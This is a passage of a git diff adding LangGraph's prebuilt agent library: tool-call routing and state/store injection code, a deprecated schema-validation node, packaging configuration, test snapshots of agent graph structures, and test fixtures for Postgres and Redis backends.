state_update.get(self._messages_key, []) + elif isinstance(command.update, list): + # Input type is list when ToolNode is invoked with a list input + # (e.g. [AIMessage(..., tool_calls=[...])]) + if input_type != "list": + msg = ( + "Tools can provide a list of messages in Command.update " + "only when using list of messages as ToolNode input, " + f"got: {command.update} for tool '{call['name']}'" + ) + raise ValueError(msg) + + updated_command = deepcopy(command) + messages_update = updated_command.update + else: + return command + + # convert to message objects if updates are in a dict format + messages_update = convert_to_messages(messages_update) + + # no validation needed if all messages are being removed + if messages_update == [RemoveMessage(id=REMOVE_ALL_MESSAGES)]: + return updated_command + + has_matching_tool_message = False + for message in messages_update: + if not isinstance(message, ToolMessage): + continue + + if message.tool_call_id == call["id"]: + message.name = call["name"] + has_matching_tool_message = True + + # validate that we always have a ToolMessage matching the tool call in + # Command.update if command is sent to the CURRENT graph + if ( + require_terminator + and updated_command.graph is None + and not has_matching_tool_message + ): + example_update = ( + '`Command(update={"messages": ' + '[ToolMessage("Success", tool_call_id=tool_call_id), ...]}, ...)`' + if input_type == "dict" + else "`Command(update=" + '[ToolMessage("Success", tool_call_id=tool_call_id), ...], ...)`' + ) + msg = ( + "Expected to have a matching ToolMessage in Command.update " + f"for tool '{call['name']}', got: {messages_update}. " + "Every tool call (LLM requesting to call a tool) " + "in the message history MUST have a corresponding ToolMessage. " + f"You can fix it by modifying the tool to return {example_update}." + ) + raise ValueError(msg) + return updated_command + + +def tools_condition( + state: list[AnyMessage] | dict[str, Any] | BaseModel, + messages_key: str = "messages", +) -> Literal["tools", "__end__"]: + """Conditional routing function for tool-calling workflows. + + This utility function implements the standard conditional logic for ReAct-style + agents: if the last `AIMessage` contains tool calls, route to the tool execution + node; otherwise, end the workflow. This pattern is fundamental to most tool-calling + agent architectures. + + The function handles multiple state formats commonly used in LangGraph applications, + making it flexible for different graph designs while maintaining consistent behavior. + + Args: + state: The current graph state to examine for tool calls. Supported formats: + - Dictionary containing a messages key (for `StateGraph`) + - `BaseModel` instance with a messages attribute + messages_key: The key or attribute name containing the message list in the state. + This allows customization for graphs using different state schemas. + + Returns: + Either `'tools'` if tool calls are present in the last `AIMessage`, or `'__end__'` + to terminate the workflow. These are the standard routing destinations for + tool-calling conditional edges. + + Raises: + ValueError: If no messages can be found in the provided state format. + + Example: + Basic usage in a ReAct agent: + + ```python + from langgraph.graph import StateGraph + from langchain.tools import ToolNode + from langchain.tools.tool_node import tools_condition + from typing_extensions import TypedDict + + + class State(TypedDict): + messages: list + + + graph = StateGraph(State) + graph.add_node("llm", call_model) + graph.add_node("tools", ToolNode([my_tool])) + graph.add_conditional_edges( + "llm", + tools_condition, # Routes to "tools" or "__end__" + {"tools": "tools", "__end__": "__end__"}, + ) + ``` + + Custom messages key: + + ```python + def custom_condition(state): + return tools_condition(state, messages_key="chat_history") + ``` + + !!! note + This function is designed to work seamlessly with `ToolNode` and standard + LangGraph patterns. It expects the last message to be an `AIMessage` when + tool calls are present, which is the standard output format for tool-calling + language models. + """ + if isinstance(state, list): + ai_message = state[-1] + elif (isinstance(state, dict) and (messages := state.get(messages_key, []))) or ( + messages := getattr(state, messages_key, []) + ): + ai_message = messages[-1] + else: + msg = f"No messages found in input state to tool_edge: {state}" + raise ValueError(msg) + if hasattr(ai_message, "tool_calls") and len(ai_message.tool_calls) > 0: + return "tools" + return "__end__" + + +@dataclass +class ToolRuntime(_DirectlyInjectedToolArg, Generic[ContextT, StateT]): + """Runtime context automatically injected into tools. + + !!! note + + This is distinct from `Runtime` (from `langgraph.runtime`), which is injected + into graph nodes and middleware. `ToolRuntime` includes additional tool-specific + attributes like `config`, `state`, and `tool_call_id` that `Runtime` does not + have. + + When a tool function has a parameter named `runtime` with type hint + `ToolRuntime`, the tool execution system will automatically inject an instance + containing: + + - `state`: The current graph state + - `tool_call_id`: The ID of the current tool call + - `config`: `RunnableConfig` for the current execution + - `context`: Runtime context (shared with `Runtime`) + - `store`: `BaseStore` instance for persistent storage (shared with `Runtime`) + - `stream_writer`: `StreamWriter` for streaming output (shared with `Runtime`) + - `tools`: List of all available `BaseTool` instances + + No `Annotated` wrapper is needed - just use `runtime: ToolRuntime` + as a parameter. + + Example: + ```python + from langchain_core.tools import tool + from langchain.tools import ToolRuntime + + @tool + def my_tool(x: int, runtime: ToolRuntime) -> str: + \"\"\"Tool that accesses runtime context.\"\"\" + # Access state + messages = tool_runtime.state["messages"] + + # Access tool_call_id + print(f"Tool call ID: {tool_runtime.tool_call_id}") + + # Access config + print(f"Run ID: {tool_runtime.config.get('run_id')}") + + # Access runtime context + user_id = tool_runtime.context.get("user_id") + + # Access store + tool_runtime.store.put(("metrics",), "count", 1) + + # Stream output + tool_runtime.stream_writer.write("Processing...") + + return f"Processed {x}" + ``` + + !!! note + This is a marker class used for type checking and detection. + The actual runtime object will be constructed during tool execution. + """ + + state: StateT + context: ContextT + config: RunnableConfig + stream_writer: StreamWriter + tool_call_id: str | None + store: BaseStore | None + tools: list[BaseTool] = field(default_factory=list) + execution_info: ExecutionInfo | None = None + server_info: ServerInfo | None = None + + def emit_output_delta(self, delta: Any) -> None: + """Stream a partial output chunk on the `tools` stream channel. + + Reads the per-tool-call writer that `StreamToolCallHandler` + installs on a ContextVar at `on_tool_start` and forwards `delta` + through it. Silent no-op when the graph was not run with + `"tools"` in `stream_mode` (no writer is set), so tool authors + can leave `emit_output_delta` calls in place without gating + them on stream mode. + + Args: + delta: Partial output chunk. Any JSON-serializable value; + surfaced as-is on the `tools` channel's + `tool-output-delta` payload under `"delta"`. + """ + writer = _tool_call_writer.get() + if writer is None: + return + writer(delta) + + +class InjectedState(InjectedToolArg): + """Annotation for injecting graph state into tool arguments. + + This annotation enables tools to access graph state without exposing state + management details to the language model. Tools annotated with `InjectedState` + receive state data automatically during execution while remaining invisible + to the model's tool-calling interface. + + Args: + field: Optional key to extract from the state dictionary. If `None`, the entire + state is injected. If specified, only that field's value is injected. + This allows tools to request specific state components rather than + processing the full state structure. + + Example: + ```python + from typing import List + from typing_extensions import Annotated, TypedDict + + from langchain_core.messages import BaseMessage, AIMessage + from langchain.tools import InjectedState, ToolNode, tool + + + class AgentState(TypedDict): + messages: List[BaseMessage] + foo: str + + + @tool + def state_tool(x: int, state: Annotated[dict, InjectedState]) -> str: + '''Do something with state.''' + if len(state["messages"]) > 2: + return state["foo"] + str(x) + else: + return "not enough messages" + + + @tool + def foo_tool(x: int, foo: Annotated[str, InjectedState("foo")]) -> str: + '''Do something else with state.''' + return foo + str(x + 1) + + + node = ToolNode([state_tool, foo_tool]) + + tool_call1 = {"name": "state_tool", "args": {"x": 1}, "id": "1", "type": "tool_call"} + tool_call2 = {"name": "foo_tool", "args": {"x": 1}, "id": "2", "type": "tool_call"} + state = { + "messages": [AIMessage("", tool_calls=[tool_call1, tool_call2])], + "foo": "bar", + } + node.invoke(state) + ``` + + ```python + [ + ToolMessage(content="not enough messages", name="state_tool", tool_call_id="1"), + ToolMessage(content="bar2", name="foo_tool", tool_call_id="2"), + ] + ``` + + !!! note + - `InjectedState` arguments are automatically excluded from tool schemas + presented to language models + - `ToolNode` handles the injection process during execution + - Tools can mix regular arguments (controlled by the model) with injected + arguments (controlled by the system) + - State injection occurs after the model generates tool calls but before + tool execution + """ + + def __init__(self, field: str | None = None) -> None: + """Initialize the `InjectedState` annotation.""" + self.field = field + + +class InjectedStore(InjectedToolArg): + """Annotation for injecting persistent store into tool arguments. + + This annotation enables tools to access LangGraph's persistent storage system + without exposing storage details to the language model. Tools annotated with + `InjectedStore` receive the store instance automatically during execution while + remaining invisible to the model's tool-calling interface. + + The store provides persistent, cross-session data storage that tools can use + for maintaining context, user preferences, or any other data that needs to + persist beyond individual workflow executions. + + !!! warning + `InjectedStore` annotation requires `langchain-core >= 0.3.8` + + Example: + ```python + from typing_extensions import Annotated + from langgraph.store.memory import InMemoryStore + from langchain.tools import InjectedStore, ToolNode, tool + + @tool + def save_preference( + key: str, + value: str, + store: Annotated[Any, InjectedStore()] + ) -> str: + \"\"\"Save user preference to persistent storage.\"\"\" + store.put(("preferences",), key, value) + return f"Saved {key} = {value}" + + @tool + def get_preference( + key: str, + store: Annotated[Any, InjectedStore()] + ) -> str: + \"\"\"Retrieve user preference from persistent storage.\"\"\" + result = store.get(("preferences",), key) + return result.value if result else "Not found" + ``` + + Usage with `ToolNode` and graph compilation: + + ```python + from langgraph.graph import StateGraph + from langgraph.store.memory import InMemoryStore + + store = InMemoryStore() + tool_node = ToolNode([save_preference, get_preference]) + + graph = StateGraph(State) + graph.add_node("tools", tool_node) + compiled_graph = graph.compile(store=store) # Store is injected automatically + ``` + + Cross-session persistence: + + ```python + # First session + result1 = graph.invoke({"messages": [HumanMessage("Save my favorite color as blue")]}) + + # Later session - data persists + result2 = graph.invoke({"messages": [HumanMessage("What's my favorite color?")]}) + ``` + + !!! note + - `InjectedStore` arguments are automatically excluded from tool schemas + presented to language models + - The store instance is automatically injected by `ToolNode` during execution + - Tools can access namespaced storage using the store's get/put methods + - Store injection requires the graph to be compiled with a store instance + - Multiple tools can share the same store instance for data consistency + """ + + +def _is_injection( + type_arg: Any, + injection_type: type[InjectedState | InjectedStore | ToolRuntime], +) -> bool: + """Check if a type argument represents an injection annotation. + + This utility function determines whether a type annotation indicates that + an argument should be injected with state or store data. It handles both + direct annotations and nested annotations within Union or Annotated types. + + Args: + type_arg: The type argument to check for injection annotations. + injection_type: The injection type to look for (InjectedState or InjectedStore). + + Returns: + True if the type argument contains the specified injection annotation. + """ + if isinstance(type_arg, injection_type) or ( + isinstance(type_arg, type) and issubclass(type_arg, injection_type) + ): + return True + origin_ = get_origin(type_arg) + if origin_ is Union or origin_ is Annotated: + return any(_is_injection(ta, injection_type) for ta in get_args(type_arg)) + + if origin_ is not None and ( + origin_ is injection_type + or (isinstance(origin_, type) and issubclass(origin_, injection_type)) + ): + return True + return False + + +def _get_injection_from_type( + type_: Any, injection_type: type[InjectedState | InjectedStore | ToolRuntime] +) -> Any | None: + """Extract injection instance from a type annotation. + + Args: + type_: The type annotation to check. + injection_type: The injection type to look for. + + Returns: + The injection instance if found, True if injection marker found without instance, None otherwise. + """ + type_args = get_args(type_) + matches = [arg for arg in type_args if _is_injection(arg, injection_type)] + + if len(matches) > 1: + msg = ( + f"A tool argument should not be annotated with {injection_type.__name__} " + f"more than once. Found: {matches}" + ) + raise ValueError(msg) + + if len(matches) == 1: + return matches[0] + elif _is_injection(type_, injection_type): + return True + + return None + + +def _get_all_injected_args(tool: BaseTool) -> _InjectedArgs: + """Extract all injected arguments from tool in a single pass. + + This function analyzes both the tool's input schema and function signature + to identify all arguments that should be injected (state, store, runtime). + + Args: + tool: The tool to analyze for injection requirements. + + Returns: + _InjectedArgs structure containing all detected injections. + """ + # Get annotations from both schema and function signature + full_schema = tool.get_input_schema() + schema_annotations = get_all_basemodel_annotations(full_schema) + + func = getattr(tool, "func", None) or getattr(tool, "coroutine", None) + func_annotations = get_type_hints(func, include_extras=True) if func else {} + + # Combine both annotation sources, preferring schema annotations + # In the future, we might want to add more restrictions here... + all_annotations = {**func_annotations, **schema_annotations} + + # Track injected args + state_args: dict[str, str | None] = {} + store_arg: str | None = None + runtime_arg: str | None = None + all_injected_keys: set[str] = set() + _optional_state_args: set[str] = set() + + for name, type_ in all_annotations.items(): + # Track all InjectedToolArg-annotated params (including custom subclasses) + if _is_injected_arg_type(type_): + all_injected_keys.add(name) + + # Check for runtime (special case: parameter named "runtime") + if name == "runtime": + runtime_arg = name + + # Check for InjectedState + if state_inj := _get_injection_from_type(type_, InjectedState): + if isinstance(state_inj, InjectedState) and state_inj.field: + state_args[name] = state_inj.field + field_info = full_schema.model_fields.get(name) + if field_info and not field_info.is_required(): + _optional_state_args.add(name) + else: + state_args[name] = None + + # Check for InjectedStore + if _get_injection_from_type(type_, InjectedStore): + store_arg = name + + # Check for ToolRuntime + if _get_injection_from_type(type_, ToolRuntime): + runtime_arg = name + + return _InjectedArgs( + state=state_args, + store=store_arg, + runtime=runtime_arg, + all_injected_keys=all_injected_keys, + _optional_state_args=_optional_state_args, + ) diff --git a/libs/prebuilt/langgraph/prebuilt/tool_validator.py b/libs/prebuilt/langgraph/prebuilt/tool_validator.py new file mode 100644 index 0000000..ec9b3c2 --- /dev/null +++ b/libs/prebuilt/langgraph/prebuilt/tool_validator.py @@ -0,0 +1,221 @@ +"""This module provides a ValidationNode class that can be used to validate tool calls +in a langchain graph. It applies a pydantic schema to tool_calls in the models' outputs, +and returns a ToolMessage with the validated content. If the schema is not valid, it +returns a ToolMessage with the error message. The ValidationNode can be used in a +StateGraph with a "messages" key. If multiple tool calls are requested, they will be run in parallel. +""" + +from collections.abc import Callable, Sequence +from typing import ( + Any, + cast, +) + +from langchain_core.messages import ( + AIMessage, + AnyMessage, + ToolCall, + ToolMessage, +) +from langchain_core.runnables import ( + RunnableConfig, +) +from langchain_core.runnables.config import get_executor_for_config +from langchain_core.tools import BaseTool, create_schema_from_function +from langchain_core.utils.pydantic import is_basemodel_subclass +from langgraph._internal._runnable import RunnableCallable +from langgraph.warnings import LangGraphDeprecatedSinceV10 +from pydantic import BaseModel, ValidationError +from pydantic.v1 import BaseModel as BaseModelV1 +from pydantic.v1 import ValidationError as ValidationErrorV1 +from typing_extensions import deprecated + + +def _default_format_error( + error: BaseException, + call: ToolCall, + schema: type[BaseModel] | type[BaseModelV1], +) -> str: + """Default error formatting function.""" + return f"{repr(error)}\n\nRespond after fixing all validation errors." + + +@deprecated( + "ValidationNode is deprecated. Please use `create_agent` from `langchain.agents` with custom tool error handling.", + category=LangGraphDeprecatedSinceV10, +) +class ValidationNode(RunnableCallable): + """A node that validates all tools requests from the last `AIMessage`. + + It can be used either in `StateGraph` with a `'messages'` key. + + !!! note + + This node does not actually **run** the tools, it only validates the tool calls, + which is useful for extraction and other use cases where you need to generate + structured output that conforms to a complex schema without losing the original + messages and tool IDs (for use in multi-turn conversations). + + Returns: + (Union[Dict[str, List[ToolMessage]], Sequence[ToolMessage]]): A list of + `ToolMessage` objects with the validated content or error messages. + + Example: + ```python title="Example usage for re-prompting the model to generate a valid response:" + from typing import Literal, Annotated + from typing_extensions import TypedDict + + from langchain_anthropic import ChatAnthropic + from pydantic import BaseModel, field_validator + + from langgraph.graph import END, START, StateGraph + from langgraph.prebuilt import ValidationNode + from langgraph.graph.message import add_messages + + class SelectNumber(BaseModel): + a: int + + @field_validator("a") + def a_must_be_meaningful(cls, v): + if v != 37: + raise ValueError("Only 37 is allowed") + return v + + builder = StateGraph(Annotated[list, add_messages]) + llm = ChatAnthropic(model="claude-3-5-haiku-latest").bind_tools([SelectNumber]) + builder.add_node("model", llm) + builder.add_node("validation", ValidationNode([SelectNumber])) + builder.add_edge(START, "model") + + def should_validate(state: list) -> Literal["validation", "__end__"]: + if state[-1].tool_calls: + return "validation" + return END + + builder.add_conditional_edges("model", should_validate) + + def should_reprompt(state: list) -> Literal["model", "__end__"]: + for msg in state[::-1]: + # None of the tool calls were errors + if msg.type == "ai": + return END + if msg.additional_kwargs.get("is_error"): + return "model" + return END + + builder.add_conditional_edges("validation", should_reprompt) + + graph = builder.compile() + res = graph.invoke(("user", "Select a number, any number")) + # Show the retry logic + for msg in res: + msg.pretty_print() + ``` + """ + + def __init__( + self, + schemas: Sequence[BaseTool | type[BaseModel] | Callable], + *, + format_error: Callable[[BaseException, ToolCall, type[BaseModel]], str] + | None = None, + name: str = "validation", + tags: list[str] | None = None, + ) -> None: + """Initialize the ValidationNode. + + Args: + schemas: A list of schemas to validate the tool calls with. These can be + any of the following: + - A pydantic BaseModel class + - A BaseTool instance (the args_schema will be used) + - A function (a schema will be created from the function signature) + format_error: A function that takes an exception, a ToolCall, and a schema + and returns a formatted error string. By default, it returns the + exception repr and a message to respond after fixing validation errors. + name: The name of the node. + tags: A list of tags to add to the node. + """ + super().__init__(self._func, None, name=name, tags=tags, trace=False) + self._format_error = format_error or _default_format_error + self.schemas_by_name: dict[str, type[BaseModel]] = {} + for schema in schemas: + if isinstance(schema, BaseTool): + if schema.args_schema is None: + raise ValueError( + f"Tool {schema.name} does not have an args_schema defined." + ) + elif not isinstance( + schema.args_schema, type + ) or not is_basemodel_subclass(schema.args_schema): + raise ValueError( + "Validation node only works with tools that have a pydantic BaseModel args_schema. " + f"Got {schema.name} with args_schema: {schema.args_schema}." + ) + self.schemas_by_name[schema.name] = schema.args_schema + elif isinstance(schema, type) and issubclass( + schema, (BaseModel, BaseModelV1) + ): + self.schemas_by_name[schema.__name__] = cast(type[BaseModel], schema) + elif callable(schema): + base_model = create_schema_from_function("Validation", schema) + self.schemas_by_name[schema.__name__] = base_model + else: + raise ValueError( + f"Unsupported input to ValidationNode. Expected BaseModel, tool or function. Got: {type(schema)}." + ) + + def _get_message( + self, input: list[AnyMessage] | dict[str, Any] + ) -> tuple[str, AIMessage]: + """Extract the last AIMessage from the input.""" + if isinstance(input, list): + output_type = "list" + messages: list = input + elif messages := input.get("messages", []): + output_type = "dict" + else: + raise ValueError("No message found in input") + message: AnyMessage = messages[-1] + if not isinstance(message, AIMessage): + raise ValueError("Last message is not an AIMessage") + return output_type, message + + def _func( + self, input: list[AnyMessage] | dict[str, Any], config: RunnableConfig + ) -> Any: + """Validate and run tool calls synchronously.""" + output_type, message = self._get_message(input) + + def run_one(call: ToolCall) -> ToolMessage: + schema = self.schemas_by_name[call["name"]] + try: + if issubclass(schema, BaseModel): + output = schema.model_validate(call["args"]) + content = output.model_dump_json() + elif issubclass(schema, BaseModelV1): + output = schema.validate(call["args"]) + content = output.json() + else: + raise ValueError( + f"Unsupported schema type: {type(schema)}. Expected BaseModel or BaseModelV1." + ) + return ToolMessage( + content=content, + name=call["name"], + tool_call_id=cast(str, call["id"]), + ) + except (ValidationError, ValidationErrorV1) as e: + return ToolMessage( + content=self._format_error(e, call, schema), + name=call["name"], + tool_call_id=cast(str, call["id"]), + additional_kwargs={"is_error": True}, + ) + + with get_executor_for_config(config) as executor: + outputs = [*executor.map(run_one, message.tool_calls)] + if output_type == "list": + return outputs + else: + return {"messages": outputs} diff --git a/libs/prebuilt/pyproject.toml b/libs/prebuilt/pyproject.toml new file mode 100644 index 0000000..b7a100d --- /dev/null +++ b/libs/prebuilt/pyproject.toml @@ -0,0 +1,99 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "langgraph-prebuilt" +version = "1.1.0" +description = "Library with high-level APIs for creating and executing LangGraph agents and tools." +authors = [] +requires-python = ">=3.10" +readme = "README.md" +license = "MIT" +license-files = ['LICENSE'] +classifiers = [ + 'Development Status :: 5 - Production/Stable', + 'Programming Language :: Python', + 'Programming Language :: Python :: Implementation :: CPython', + 'Programming Language :: Python :: Implementation :: PyPy', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3 :: Only', + 'Programming Language :: Python :: 3.10', + 'Programming Language :: Python :: 3.11', + 'Programming Language :: Python :: 3.12', + 'Programming Language :: Python :: 3.13', +] +dependencies = [ + "langgraph-checkpoint>=2.1.0,<5.0.0", + "langchain-core>=1.3.1", +] + +[project.urls] +Source = "https://github.com/langchain-ai/langgraph/tree/main/libs/prebuilt" +Twitter = "https://x.com/langchain_oss" +Slack = "https://www.langchain.com/join-community" +Reddit = "https://www.reddit.com/r/LangChain/" + +[dependency-groups] +test = [ + "pytest", + "pytest-asyncio", + "pytest-mock", + "pytest-watcher", + "langchain-core", + "langgraph", + "langgraph-checkpoint", + "langgraph-checkpoint-sqlite", + "langgraph-checkpoint-postgres", + "syrupy", + "psycopg-binary", +] +lint = [ + "ruff", + "codespell", + "ty", +] +dev = [ + {include-group = "test"}, + {include-group = "lint"}, +] + +[tool.uv] +default-groups = ['dev'] + +[tool.uv.sources] +langgraph = { path = "../langgraph", editable = true } +langgraph-checkpoint = { path = "../checkpoint", editable = true } +langgraph-checkpoint-sqlite = { path = "../checkpoint-sqlite", editable = true } +langgraph-checkpoint-postgres = { path = "../checkpoint-postgres", editable = true } + +[tool.hatch.build.targets.wheel] +include = ["langgraph"] + +[tool.pytest.ini_options] +addopts = "--strict-markers --strict-config --durations=5 -vv" +asyncio_mode = "auto" + +[tool.ruff] +lint.select = [ "E", "F", "I", "TID251", "UP" ] +lint.ignore = [ "E501" ] +target-version = "py310" + +[tool.ty.rules] +call-non-callable = "ignore" +deprecated = "ignore" +invalid-argument-type = "ignore" +invalid-assignment = "ignore" +invalid-await = "ignore" +invalid-return-type = "ignore" +no-matching-overload = "ignore" +unused-type-ignore-comment = "ignore" +unresolved-attribute = "ignore" +unresolved-import = "ignore" +unsupported-operator = "ignore" + +[tool.pytest-watcher] +now = true +delay = 0.1 +runner_args = ["--ff", "-v", "--tb", "short"] +patterns = ["*.py"] diff --git a/libs/prebuilt/tests/__init__.py b/libs/prebuilt/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/prebuilt/tests/__snapshots__/test_react_agent_graph.ambr b/libs/prebuilt/tests/__snapshots__/test_react_agent_graph.ambr new file mode 100644 index 0000000..dca7fc7 --- /dev/null +++ b/libs/prebuilt/tests/__snapshots__/test_react_agent_graph.ambr @@ -0,0 +1,173 @@ +# serializer version: 1 +# name: test_react_agent_graph_structure[None-None-None-tools0] + ''' + graph TD; + __start__ --> agent; + agent --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[None-None-None-tools1] + ''' + graph TD; + __start__ --> agent; + agent -.-> __end__; + agent -.-> tools; + tools --> agent; + + ''' +# --- +# name: test_react_agent_graph_structure[None-None-pre_model_hook-tools0] + ''' + graph TD; + __start__ --> pre_model_hook; + pre_model_hook --> agent; + agent --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[None-None-pre_model_hook-tools1] + ''' + graph TD; + __start__ --> pre_model_hook; + agent -.-> __end__; + agent -.-> tools; + pre_model_hook --> agent; + tools --> pre_model_hook; + + ''' +# --- +# name: test_react_agent_graph_structure[None-post_model_hook-None-tools0] + ''' + graph TD; + __start__ --> agent; + agent --> post_model_hook; + post_model_hook --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[None-post_model_hook-None-tools1] + ''' + graph TD; + __start__ --> agent; + agent --> post_model_hook; + post_model_hook -.-> __end__; + post_model_hook -.-> agent; + post_model_hook -.-> tools; + tools --> agent; + + ''' +# --- +# name: test_react_agent_graph_structure[None-post_model_hook-pre_model_hook-tools0] + ''' + graph TD; + __start__ --> pre_model_hook; + agent --> post_model_hook; + pre_model_hook --> agent; + post_model_hook --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[None-post_model_hook-pre_model_hook-tools1] + ''' + graph TD; + __start__ --> pre_model_hook; + agent --> post_model_hook; + post_model_hook -.-> __end__; + post_model_hook -.-> pre_model_hook; + post_model_hook -.-> tools; + pre_model_hook --> agent; + tools --> pre_model_hook; + + ''' +# --- +# name: test_react_agent_graph_structure[ResponseFormat-None-None-tools0] + ''' + graph TD; + __start__ --> agent; + agent --> generate_structured_response; + generate_structured_response --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[ResponseFormat-None-None-tools1] + ''' + graph TD; + __start__ --> agent; + agent -.-> generate_structured_response; + agent -.-> tools; + tools --> agent; + generate_structured_response --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[ResponseFormat-None-pre_model_hook-tools0] + ''' + graph TD; + __start__ --> pre_model_hook; + agent --> generate_structured_response; + pre_model_hook --> agent; + generate_structured_response --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[ResponseFormat-None-pre_model_hook-tools1] + ''' + graph TD; + __start__ --> pre_model_hook; + agent -.-> generate_structured_response; + agent -.-> tools; + pre_model_hook --> agent; + tools --> pre_model_hook; + generate_structured_response --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[ResponseFormat-post_model_hook-None-tools0] + ''' + graph TD; + __start__ --> agent; + agent --> post_model_hook; + post_model_hook --> generate_structured_response; + generate_structured_response --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[ResponseFormat-post_model_hook-None-tools1] + ''' + graph TD; + __start__ --> agent; + agent --> post_model_hook; + post_model_hook -.-> agent; + post_model_hook -.-> generate_structured_response; + post_model_hook -.-> tools; + tools --> agent; + generate_structured_response --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[ResponseFormat-post_model_hook-pre_model_hook-tools0] + ''' + graph TD; + __start__ --> pre_model_hook; + agent --> post_model_hook; + post_model_hook --> generate_structured_response; + pre_model_hook --> agent; + generate_structured_response --> __end__; + + ''' +# --- +# name: test_react_agent_graph_structure[ResponseFormat-post_model_hook-pre_model_hook-tools1] + ''' + graph TD; + __start__ --> pre_model_hook; + agent --> post_model_hook; + post_model_hook -.-> generate_structured_response; + post_model_hook -.-> pre_model_hook; + post_model_hook -.-> tools; + pre_model_hook --> agent; + tools --> pre_model_hook; + generate_structured_response --> __end__; + + ''' +# --- diff --git a/libs/prebuilt/tests/any_str.py b/libs/prebuilt/tests/any_str.py new file mode 100644 index 0000000..ccc69ea --- /dev/null +++ b/libs/prebuilt/tests/any_str.py @@ -0,0 +1,17 @@ +import re + + +class AnyStr(str): + def __init__(self, prefix: str | re.Pattern = "") -> None: + super().__init__() + self.prefix = prefix + + def __eq__(self, other: object) -> bool: + return isinstance(other, str) and ( + other.startswith(self.prefix) + if isinstance(self.prefix, str) + else self.prefix.match(other) + ) + + def __hash__(self) -> int: + return hash((str(self), self.prefix)) diff --git a/libs/prebuilt/tests/compose-postgres.yml b/libs/prebuilt/tests/compose-postgres.yml new file mode 100644 index 0000000..221b35d --- /dev/null +++ b/libs/prebuilt/tests/compose-postgres.yml @@ -0,0 +1,17 @@ +name: langgraph-tests +services: + postgres-test: + image: postgres:16 + ports: + - "5442:5432" + environment: + POSTGRES_DB: postgres + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + healthcheck: + test: pg_isready -U postgres + start_period: 10s + timeout: 1s + retries: 5 + interval: 60s + start_interval: 1s diff --git a/libs/prebuilt/tests/compose-redis.yml b/libs/prebuilt/tests/compose-redis.yml new file mode 100644 index 0000000..18862fd --- /dev/null +++ b/libs/prebuilt/tests/compose-redis.yml @@ -0,0 +1,16 @@ +name: langgraph-tests-redis +services: + redis-test: + image: redis:7-alpine + ports: + - "6379:6379" + command: redis-server --maxmemory 256mb --maxmemory-policy allkeys-lru + healthcheck: + test: redis-cli ping + start_period: 10s + timeout: 1s + retries: 5 + interval: 5s + start_interval: 1s + tmpfs: + - /data # Use tmpfs for faster testing diff --git a/libs/prebuilt/tests/conftest.py b/libs/prebuilt/tests/conftest.py new file mode 100644 index 0000000..72ee4ad --- /dev/null +++ b/libs/prebuilt/tests/conftest.py @@ -0,0 +1,198 @@ +import os +from collections.abc import AsyncIterator, Iterator +from uuid import UUID + +import pytest +from langgraph.checkpoint.base import BaseCheckpointSaver +from langgraph.store.base import BaseStore +from pytest_mock import MockerFixture + +from tests.conftest_checkpointer import ( + _checkpointer_memory, + _checkpointer_postgres, + _checkpointer_postgres_aio, + _checkpointer_postgres_aio_pipe, + _checkpointer_postgres_aio_pool, + _checkpointer_postgres_pipe, + _checkpointer_postgres_pool, + _checkpointer_sqlite, + _checkpointer_sqlite_aio, +) +from tests.conftest_store import ( + _store_memory, + _store_postgres, + _store_postgres_aio, + _store_postgres_aio_pipe, + _store_postgres_aio_pool, + _store_postgres_pipe, + _store_postgres_pool, +) + +pytest.register_assert_rewrite("tests.memory_assert") + +# Global variables for checkpointer and store configurations +FAST_MODE = os.getenv("LANGGRAPH_TEST_FAST", "true").lower() in ("true", "1", "yes") + +SYNC_CHECKPOINTER_PARAMS = ( + ["memory"] + if FAST_MODE + else [ + "memory", + "sqlite", + "postgres", + "postgres_pipe", + "postgres_pool", + ] +) + +ASYNC_CHECKPOINTER_PARAMS = ( + ["memory"] + if FAST_MODE + else [ + "memory", + "sqlite_aio", + "postgres_aio", + "postgres_aio_pipe", + "postgres_aio_pool", + ] +) + +SYNC_STORE_PARAMS = ( + ["in_memory"] + if FAST_MODE + else [ + "in_memory", + "postgres", + "postgres_pipe", + "postgres_pool", + ] +) + +ASYNC_STORE_PARAMS = ( + ["in_memory"] + if FAST_MODE + else [ + "in_memory", + "postgres_aio", + "postgres_aio_pipe", + "postgres_aio_pool", + ] +) + + +@pytest.fixture +def anyio_backend(): + return "asyncio" + + +@pytest.fixture() +def deterministic_uuids(mocker: MockerFixture) -> MockerFixture: + side_effect = ( + UUID(f"00000000-0000-4000-8000-{i:012}", version=4) for i in range(10000) + ) + return mocker.patch("uuid.uuid4", side_effect=side_effect) + + +# checkpointer fixtures + + +@pytest.fixture( + scope="function", + params=SYNC_STORE_PARAMS, +) +def sync_store(request: pytest.FixtureRequest) -> Iterator[BaseStore]: + store_name = request.param + if store_name is None: + yield None + elif store_name == "in_memory": + with _store_memory() as store: + yield store + elif store_name == "postgres": + with _store_postgres() as store: + yield store + elif store_name == "postgres_pipe": + with _store_postgres_pipe() as store: + yield store + elif store_name == "postgres_pool": + with _store_postgres_pool() as store: + yield store + else: + raise NotImplementedError(f"Unknown store {store_name}") + + +@pytest.fixture( + scope="function", + params=ASYNC_STORE_PARAMS, +) +async def async_store(request: pytest.FixtureRequest) -> AsyncIterator[BaseStore]: + store_name = request.param + if store_name is None: + yield None + elif store_name == "in_memory": + with _store_memory() as store: + yield store + elif store_name == "postgres_aio": + async with _store_postgres_aio() as store: + yield store + elif store_name == "postgres_aio_pipe": + async with _store_postgres_aio_pipe() as store: + yield store + elif store_name == "postgres_aio_pool": + async with _store_postgres_aio_pool() as store: + yield store + else: + raise NotImplementedError(f"Unknown store {store_name}") + + +@pytest.fixture( + scope="function", + params=SYNC_CHECKPOINTER_PARAMS, +) +def sync_checkpointer( + request: pytest.FixtureRequest, +) -> Iterator[BaseCheckpointSaver]: + 